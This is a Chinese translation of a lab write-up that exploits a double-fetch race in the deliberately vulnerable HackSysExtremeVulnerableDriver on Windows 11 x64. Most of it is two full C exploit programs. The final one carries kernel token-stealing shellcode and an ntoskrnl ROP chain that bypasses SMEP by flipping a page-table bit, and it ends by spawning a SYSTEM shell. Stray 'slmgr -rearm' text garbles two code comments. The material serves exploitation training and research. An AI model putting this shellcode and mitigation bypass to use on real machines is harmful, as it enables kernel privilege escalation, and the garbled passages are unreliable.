【翻译】0x08 - Modern Windows Kernel Race Conditions
Windows 内核条件竞争(double fetch)介绍
在征服了 Windows 7 (x86)之后,我们可以继续尝试在 Windows 11 (x64) 中进行利用。
让我们开始吧。
逆向工程
让我们看一下易受攻击的处理程序以及处理程序函数使用的相应结构。
接下来,让我们看一下存在 Double Fetch 漏洞的 TriggerDoubleFetch()
函数。
我们可以看到,我们控制的输入被引用了两次,就像之前一样,这意味着我们应该能够以与之前相同的方式触发条件竞争,更具体地说是 double fetch!让我们编写一个概念验证(PoC)!
概念验证
有了所有这些信息(加上我们在 Windows 7 中的经验),我们可以继续编写一个概念验证。
#include<stdio.h>#include<stdlib.h>#include<stdint.h>#include<string.h>#include<windows.h>#include<psapi.h>#include<ntdef.h>#include<winternl.h>#include<shlwapi.h>#include<processthreadsapi.h>/* IOCTL */#define DOUBLE_FETCH_IOCTL 0x222037/* Max threads */#define NUM_THREADS 5/* Exploit Buffer */#define BUFFER 0x1000/* Structure used by Double Fetch */typedefstruct _DOUBLE_FETCH{void * Buffer;uint64_t Size;} DOUBLE_FETCH, *PDOUBLE_FETCH;/* Structure for threads */typedefstruct _IRP_ARGS{ HANDLE hHEVD; PDOUBLE_FETCH pDoubleFetch;} IRP_ARGS, *PIRP_ARGS;/* CheckWin(): Simple function to check if we're running as SYSTEM */intCheckWin(VOID){ DWORD win = 0; DWORD dwLen = 0; CHAR *cUsername = NULL; GetUserNameA(NULL, &dwLen);if (dwLen > 0) { cUsername = (CHAR *)malloc(dwLen * sizeof(CHAR)); } else {printf("[-] Failed to allocate buffer for username checkn");return-1; } GetUserNameA(cUsername, &dwLen); win = strcmp(cUsername, "SYSTEM");free(cUsername);return (win == 0) ? win : -1;}/* TriggerRaceCondition(): Since driver reads from userland twice we can overwrite the existing condition that bypasses the checkslmgr -rearm at runtime. If we win the race we successfully trigger a buffer overflow! */DWORD WINAPI TriggerRaceCondition(LPVOID lpParameters){ PIRP_ARGS pIrpArgs = (PIRP_ARGS)lpParameters;while (1) { pIrpArgs->pDoubleFetch->Size = BUFFER; }return0;}/* TriggerWorkingCondition(): As we saw in TriggerDoubleFetch() in order to reach the RtlCopyMemory() aka wrapper for memcpy() we need our buffer to be under the sizeof(KernelBuffer). This function sends an IOCTL to ensure we meed that condition. */DWORD WINAPI TriggerWorkingCondition(LPVOID lpParameters){ DWORD dwBytesReturned = 0; PIRP_ARGS pIrpArgs = (PIRP_ARGS)lpParameters;printf("t[*] Spraying DoubleFetchObject(s): %p, Size: 0x%xn", pIrpArgs->pDoubleFetch, pIrpArgs->pDoubleFetch->Size);while (1) { pIrpArgs->pDoubleFetch->Size = 0x10; DeviceIoControl(pIrpArgs->hHEVD, DOUBLE_FETCH_IOCTL, pIrpArgs->pDoubleFetch,sizeof(DOUBLE_FETCH),NULL,0x00, &dwBytesReturned,NULL); }return0;}/* GenerateExploitBuffer(): Generate the buffer that will overwrite the return address and grant control over the instruction pointer. */voidGenerateExploitBuffer(LPVOID lpvBuffer){uint64_t *payload = (uint64_t *)(lpvBuffer);for (int i = 0; i < (BUFFER / sizeof(uint64_t)); i++) { *payload++ = 0x4141414141414141; }}/* Exploit(): Double Fetch */intExploit(HANDLE hHEVD){ LPVOID lpvMemoryAllocation = NULL; HANDLE hThreadWork[NUM_THREADS] = { 0 }; HANDLE hThreadRace[NUM_THREADS] = { 0 }; PIRP_ARGS pIrpArgs = (PIRP_ARGS)malloc(sizeof(IRP_ARGS)); PDOUBLE_FETCH pDoubleFetchObject = (PDOUBLE_FETCH)malloc(sizeof(DOUBLE_FETCH)); lpvMemoryAllocation = VirtualAlloc(NULL, BUFFER, (MEM_COMMIT | MEM_RESERVE), PAGE_EXECUTE_READWRITE);if (lpvMemoryAllocation == NULL) {printf("[-] Failed to allocate exploitation buffern");return-1; }printf("[*] Successfully allocated exploitation buffern");/* Fill up the buffer */ GenerateExploitBuffer(lpvMemoryAllocation);/* Setup the Double Fetch object */ pDoubleFetchObject->Buffer = lpvMemoryAllocation; pDoubleFetchObject->Size = 0;/* Setup the base IRP argument(s) */ pIrpArgs->hHEVD = hHEVD; pIrpArgs->pDoubleFetch = pDoubleFetchObject;/* Start the race!! */printf("[*] Off to the racesn");for (int i = 0; i < NUM_THREADS; i++) { hThreadWork[i] = CreateThread(NULL, 0, TriggerWorkingCondition, pIrpArgs, 0, NULL); hThreadRace[i] = CreateThread(NULL, 0, TriggerRaceCondition, pIrpArgs, 0, NULL); } WaitForMultipleObjects(NUM_THREADS, hThreadWork, TRUE, 10000);for (int i = 0; i < NUM_THREADS; i++) { TerminateThread(hThreadWork[i], 0); CloseHandle(hThreadWork[i]); TerminateThread(hThreadRace[i], 0); CloseHandle(hThreadRace[i]); }return CheckWin();}intmain(){ HANDLE hHEVD = NULL; hHEVD = CreateFileA("\\.\HackSysExtremeVulnerableDriver", (GENERIC_READ | GENERIC_WRITE),0x00,NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL,NULL);if (hHEVD == NULL) {printf("[-] Failed to get a handle on HackSysExtremeVulnerableDrivern");return-1; }if (Exploit(hHEVD) == 0) {printf("[*] Exploitation successful, enjoy de shell!!nn"); system("cmd.exe"); } else {printf("[-] Exploitation failed, run againn"); }if (hHEVD != INVALID_HANDLE_VALUE) { CloseHandle(hHEVD); }}
发送后,我们可以看到我们已经覆盖了返回地址并获得了对指令指针的控制
获取代码执行权限
在缓冲区溢出之前,我们很可能有足够的空间注入 ROP 链来绕过内存保护。在看到覆盖发生在 2064 字节处后,我们可以继续寻找 gadget。
C:>rp-win.exe --rop=100 --va=0 --file C:WindowsSystem32ntoskrnl.exe > rop.txt
如果需要,别忘了转换为 ascii
iconv -f utf-16 -t us-ascii//TRANSLIT rop.txt > rop_ascii.txt
遗憾的是,在查看我们的选项后,我们没有看到很多 sub rsp
gadget,即使我们设法找到一个...... 看起来我们写入的缓冲区被我们没有发送的额外数据污染了。
所以如果我们不能向后跳转,那就向前跳转!既然我们可以写入"我们想要的任意数量",那么让我们在返回地址覆盖之后写入我们的 ROP 链!
利用过程
以下是最终的 PoC 代码:
#include<stdio.h>#include<stdlib.h>#include<stdint.h>#include<string.h>#include<windows.h>#include<psapi.h>#include<ntdef.h>#include<winternl.h>#include<shlwapi.h>#include<processthreadsapi.h>/* IOCTL */#define DOUBLE_FETCH_IOCTL 0x222037/* Max threads */#define NUM_THREADS 5 // 10/* Exploit Buffer */#define BUFFER 0x900#define RETOVR 2064/* Structure used by Double Fetch */typedefstruct _DOUBLE_FETCH{void * Buffer;uint64_t Size;} DOUBLE_FETCH, *PDOUBLE_FETCH;/* Structure for threads */typedefstruct _IRP_ARGS{ HANDLE hHEVD; PDOUBLE_FETCH pDoubleFetch;} IRP_ARGS, *PIRP_ARGS;/* GetKernelModuleBase(): Function used to obtain kernel module address */LPVOID GetKernelModuleBase(PCHAR pKernelModule){char pcDriver[1024] = { 0 }; LPVOID lpvTargetDriver = NULL; LPVOID *lpvDrivers = NULL; DWORD dwCB = 0; DWORD dwDrivers = 0; DWORD i = 0; EnumDeviceDrivers(NULL, dwCB, &dwCB);if (dwCB <= 0)returnNULL; lpvDrivers = (LPVOID *)malloc(dwCB * sizeof(LPVOID));if (lpvDrivers == NULL)returnNULL;if (EnumDeviceDrivers(lpvDrivers, dwCB, &dwCB)) { dwDrivers = dwCB / sizeof(LPVOID);for (i = 0; i < dwDrivers; i++)if (GetDeviceDriverBaseNameA(lpvDrivers[i], pcDriver, sizeof(pcDriver)))if (StrStrA(pcDriver, pKernelModule) != NULL) lpvTargetDriver = lpvDrivers[i]; }free(lpvDrivers);return lpvTargetDriver;}/* CheckWin(): Simple function to check if we're running as SYSTEM */intCheckWin(VOID){ DWORD win = 0; DWORD dwLen = 0; CHAR *cUsername = NULL; GetUserNameA(NULL, &dwLen);if (dwLen > 0) { cUsername = (CHAR *)malloc(dwLen * sizeof(CHAR)); } else {printf("[-] Failed to allocate buffer for username checkn");return-1; } GetUserNameA(cUsername, &dwLen); win = strcmp(cUsername, "SYSTEM");free(cUsername);return (win == 0) ? win : -1;}/* TriggerRaceCondition(): Since driver reads from userland twice we can overwrite the existing condition that bypasses the checkslmgr -rearm at runtime. If we win the race we successfully trigger a buffer overflow! */DWORD WINAPI TriggerRaceCondition(LPVOID lpParameters){ PIRP_ARGS pIrpArgs = (PIRP_ARGS)lpParameters;while (1) { pIrpArgs->pDoubleFetch->Size = BUFFER; }return0;}/* TriggerWorkingCondition(): As we saw in TriggerDoubleFetch() in order to reach the RtlCopyMemory() aka wrapper for memcpy() we need our buffer to be under the sizeof(KernelBuffer). This function sends an IOCTL to ensure we meed that condition. */DWORD WINAPI TriggerWorkingCondition(LPVOID lpParameters){ DWORD dwBytesReturned = 0; PIRP_ARGS pIrpArgs = (PIRP_ARGS)lpParameters;printf("t[!] Racing!!! Spraying Object(s): %p, Size: 0x%xn", pIrpArgs->pDoubleFetch, pIrpArgs->pDoubleFetch->Size);while (1) { pIrpArgs->pDoubleFetch->Size = 0x10; DeviceIoControl(pIrpArgs->hHEVD, DOUBLE_FETCH_IOCTL, pIrpArgs->pDoubleFetch,sizeof(DOUBLE_FETCH),NULL,0x00, &dwBytesReturned,NULL); }return0;}/* GenerateExploitBuffer(): Generate the buffer that will overwrite the return address and grant control over the instruction pointer. */DWORD GenerateExploitBuffer(LPVOID lpvNt, LPVOID lpvBuffer){ DWORD i = 0; LPVOID lpvShellcode = NULL;uint64_t nt = (uint64_t)(lpvNt);uint64_t *payload = (uint64_t *)(lpvBuffer);uint8_t sc[129] = {// sickle-tool -p windows/x64/kernel_token_stealer -f num (58 bytes)0x65, 0x48, 0xa1, 0x88, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x80, 0xb8, 0x00, 0x00, 0x00, 0x48, 0x89, 0xc1, 0xb2, 0x04, 0x48, 0x8b, 0x80, 0x48, 0x04, 0x00, 0x00, 0x48, 0x2d, 0x48, 0x04, 0x00, 0x00, 0x38, 0x90, 0x40, 0x04, 0x00, 0x00, 0x75, 0xeb, 0x48, 0x8b, 0x90, 0xb8, 0x04, 0x00, 0x00, 0x48, 0x89, 0x91, 0xb8, 0x04, 0x00, 0x00,// sickle-tool -p windows/x64/kernel_sysret -f num (71)0x65, 0x48, 0xa1, 0x88, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x66, 0x8b, 0x88, 0xe4, 0x01, 0x00, 0x00, 0x66, 0xff, 0xc1, 0x66, 0x89, 0x88, 0xe4, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x90, 0x90, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x8a, 0x68, 0x01, 0x00, 0x00, 0x4c, 0x8b, 0x9a, 0x78, 0x01, 0x00, 0x00, 0x48, 0x8b, 0xa2, 0x80, 0x01, 0x00, 0x00, 0x48, 0x8b, 0xaa, 0x58, 0x01, 0x00, 0x00, 0x31, 0xc0, 0x0f, 0x01, 0xf8, 0x48, 0x0f, 0x07 }; lpvShellcode = VirtualAlloc(NULL, 129, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);if (lpvShellcode == NULL) {printf("[-] Failed to allocate memory to house shellcoden");return-1; } RtlCopyMemory(lpvShellcode, sc, 129);for (i = 0; i < (RETOVR / sizeof(uint64_t)); i++) { *payload++ = nt + 0xa4ea7d; // ret }/* Prepare RDX register for later. This is needed for the XOR operation */ *payload++ = nt + 0x40ed4e; // pop rdx ; pop rax ; pop rcx ; ret *payload++ = 0x000008; // Set RDX to 0x08, we will need this to accomplish the XOR *payload++ = 0x000000; // [filler] *payload++ = 0x000000; // [filler]/* Setup the call to MiGetPteAddress in order to get the address of the PTE for our userland code. The setup is as follows: RAX -> VOID *MiGetPteAddress( ( RCX == PTE / Userland Code ) ); Once the call is complete RAX should contain the pointer to our PTE. */ *payload++ = nt + 0x57699c; // pop rcx ; ret *payload++ = (uint64_t)lpvShellcode; // *shellcode *payload++ = nt + 0x24aaec; // MiGetPteAddress()/* Now that we have obtained the PTE address, we can modify the 2nd bit in order to mark the page as a kernel page (U -> K). We can do this using XOR ;) */ *payload++ = nt + 0x30fcf3; // sub rax, rdx ; ret *payload++ = nt + 0x54f344; // push rax ; pop rbx ; ret *payload++ = nt + 0x40ed4e; // pop rdx ; pop rax ; pop rcx ; ret *payload++ = 0x000004; // 0x40ed4e: pop rdx ; pop rax ; pop rcx ; ret ; (1 found) *payload++ = 0x000000; // [filler] *payload++ = 0x000000; // [filler] *payload++ = nt + 0x3788b6; // xor [rbx+0x08], edx ; mov rbx, qword [rsp+0x60] ; add rsp, 0x40 ; pop r14 ; pop rdi ; pop rbp ; ret/* Now we cam spray our shellcode address since SMEP and VPS should be bypassed */for (i = 0; i < 0xC; i++) { *payload++ = (uint64_t)lpvShellcode; }}/* Exploit(): Double Fetch */intExploit(HANDLE hHEVD){ LPVOID lpvNtKrnl = NULL; LPVOID lpvMemoryAllocation = NULL; HANDLE hThreadWork[NUM_THREADS] = { 0 }; HANDLE hThreadRace[NUM_THREADS] = { 0 }; PIRP_ARGS pIrpArgs = (PIRP_ARGS)malloc(sizeof(IRP_ARGS)); PDOUBLE_FETCH pDoubleFetchObject = (PDOUBLE_FETCH)malloc(sizeof(DOUBLE_FETCH)); lpvMemoryAllocation = VirtualAlloc(NULL, BUFFER, (MEM_COMMIT | MEM_RESERVE), PAGE_EXECUTE_READWRITE);if (lpvMemoryAllocation == NULL) {printf("[-] Failed to allocate exploitation buffern");return-1; }printf("[*] Successfully allocated exploitation buffern");/* You already know ;) */ lpvNtKrnl = GetKernelModuleBase("ntoskrnl");if (lpvNtKrnl == NULL) {printf("[-] Failed to obtain the base address of ntn");return-1; }printf("[*] Obtained the base address of nt: 0x%pn", lpvNtKrnl);/* Fill up the buffer */ GenerateExploitBuffer(lpvNtKrnl, lpvMemoryAllocation);/* Setup the Double Fetch object */ pDoubleFetchObject->Buffer = lpvMemoryAllocation; pDoubleFetchObject->Size = 0;/* Setup the base IRP argument(s) */ pIrpArgs->hHEVD = hHEVD; pIrpArgs->pDoubleFetch = pDoubleFetchObject;/* Start the race!! */printf("[*] Viol, Opr, Conspiracy Originsn");for (int i = 0; i < NUM_THREADS; i++) { hThreadWork[i] = CreateThread(NULL, 0, TriggerWorkingCondition, pIrpArgs, 0, NULL); hThreadRace[i] = CreateThread(NULL, 0, TriggerRaceCondition, pIrpArgs, 0, NULL); } WaitForMultipleObjects(NUM_THREADS, hThreadWork, TRUE, 10000);for (int i = 0; i < NUM_THREADS; i++) { TerminateThread(hThreadWork[i], 0); CloseHandle(hThreadWork[i]); TerminateThread(hThreadRace[i], 0); CloseHandle(hThreadRace[i]); }return CheckWin();}intmain(){ HANDLE hHEVD = NULL; hHEVD = CreateFileA("\\.\HackSysExtremeVulnerableDriver", (GENERIC_READ | GENERIC_WRITE),0x00,NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL,NULL);if (hHEVD == NULL) {printf("[-] Failed to get a handle on HackSysExtremeVulnerableDrivern");return-1; }if (Exploit(hHEVD) == 0) {printf("[*] We won the race!!! Enjoy de shell!!nn"); system("cmd.exe"); } else {printf("[-] Exploitation failed, run againn"); }if (hHEVD != INVALID_HANDLE_VALUE) { CloseHandle(hHEVD); }}
发送后,我们获得了代码执行权限:
原文始发于微信公众号(securitainment):现代 Windows 内核条件竞争 - Windows 11 (x64)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论